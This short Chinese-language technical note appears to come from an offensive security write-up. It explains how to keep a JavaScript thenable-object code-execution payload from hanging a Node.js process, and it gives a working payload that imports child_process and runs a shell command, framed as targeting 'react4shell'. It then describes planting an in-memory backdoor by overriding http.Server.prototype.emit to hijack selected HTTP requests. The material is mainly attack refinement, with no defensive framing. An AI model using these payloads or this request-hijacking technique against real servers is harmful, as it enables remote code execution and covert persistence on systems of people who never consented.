防止 Dos

执行命令是通过创建一个 thenable 对象进而调用 then 函数造成的。javascript 中用 await 调用一个 thenable 对象时会执行器 then 函数。

await (()=>{return {then:Function('console.log(1)')}})();

直接这样执行会导致程序卡住,原因是:

  1. Node.js 是单线程的,其并发是通过异步进行的。
  2. await 会链式调用 then 函数,如果 then 函数返回的依然是 thenable 则会链式执行。但如果返回值不是 thenable 则会一直等待一个 thenable,导致卡住。

我们观察一个正常的 await 调用案例:

async function func(resolve, reject){
    console.log(1);
    resolve();
}

await (() => {
    return {then : func}
})();

await 在调用 then 函数时会传递两个参数,resolvereject,这两个函数均可以结束 await。

所以以下 Payload 不会卡住:

await (()=>{return {then:Function('console.log(1);arguments[0]();')}})();

arguments[0] 拿到 resolve

针对于 react4shell

_prefix="(async() => {const cp = await import('node:child_process');cp.exec('touch /tmp/poc');})();arguments[0]();"

或者可以用 Error 报错来主动退出。

内存马作用域

网上公开了通过覆盖 http.Server.prototype.emit 函数来劫持 http request 的处理流程。其中不能用 () => {} 来覆盖函数,需要用 function

因为不能影响其他 http 处理流程,仅仅劫持特定的 http request 流程,所以在最后要主动调用 originalEmit.apply(this, arguments) 来处理正常的 http 数据。

需要传递 this 参数,表示当前对象。而箭头函数和 function 作用域不一样。箭头函数的 this 继承自定义时的外层词法作用域(静态),会导致无法正常调用 originalEmit.apply